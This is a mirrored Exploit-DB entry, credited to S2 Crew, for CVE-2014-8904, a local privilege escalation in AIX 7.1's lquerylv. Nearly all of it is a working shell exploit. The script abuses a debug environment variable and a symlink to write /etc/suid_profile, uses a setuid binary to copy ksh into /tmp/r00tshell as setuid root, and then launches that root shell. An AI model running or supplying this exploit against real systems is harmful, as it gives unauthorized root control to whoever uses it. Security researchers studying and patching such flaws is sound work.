AIX 7.1 – ‘lquerylv’ Local Privilege Escalation

  • 作者: S2 Crew
    日期: 2015-10-30
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/38576/
  • #!/bin/sh
    #
    # Exploit Title: AIX 7.1 lquerylv privilege escalation
    # Date: 2015.10.30
    # Exploit Author: S2 Crew [Hungary]
    # Vendor Homepage: www.ibm.com
    # Software Link: -
    # Version: - 
    # Tested on: AIX 7.1 (7100-02-03-1334)
    # CVE : CVE-2014-8904
    #
    # From file writing to command execution ;) 
    #
    export _DBGCMD_LQUERYLV=1
    umask 0
    ln -s /etc/suid_profile /tmp/DEBUGCMD
    /usr/sbin/lquerylv
    
    cat << EOF >/etc/suid_profile
    cp /bin/ksh /tmp/r00tshell
    /usr/bin/syscall setreuid 0 0
    chown root:system /tmp/r00tshell
    chmod 6755 /tmp/r00tshell
    EOF
    
    /opt/IBMinvscout/bin/invscoutClient_VPD_Survey # suid_profile because uid!=euid
    /tmp/r00tshell